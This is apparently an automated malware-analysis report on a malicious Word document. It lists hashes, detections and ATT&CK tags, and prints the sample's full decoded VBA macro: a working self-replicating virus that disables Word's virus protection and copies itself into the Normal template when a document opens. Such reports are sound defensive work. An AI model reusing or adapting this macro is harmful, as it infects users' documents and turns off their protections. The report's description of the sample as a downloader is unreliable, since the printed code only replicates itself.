Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f96963487dd982b…

MALICIOUS

Office (OLE)

106.5 KB Created: 2020-04-24 07:30:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 7da2a8a225443a242a39b38fdf2b72ce SHA-1: e6a2f4ab11c83f0e25c5a13a5fb2a5387629bd49 SHA-256: 6f96963487dd982b166a9fb0300c39f100fe74d3ddf47f88e39ff4032421bafe
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute code upon opening. The macro attempts to overwrite itself with new code, indicated by the 'APMPKILL' strings, suggesting it's a downloader or dropper for a secondary payload. The document body content appears to be unrelated to the malicious functionality.

Heuristics 3

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1093 bytes
SHA-256: 07cd951e274ef58528f1ff0c595006d5455b8ba90c916e0bc6935d55b92907c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TYEntity1, 0, 0, ZYCTYPLUSLib, TYEntity"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

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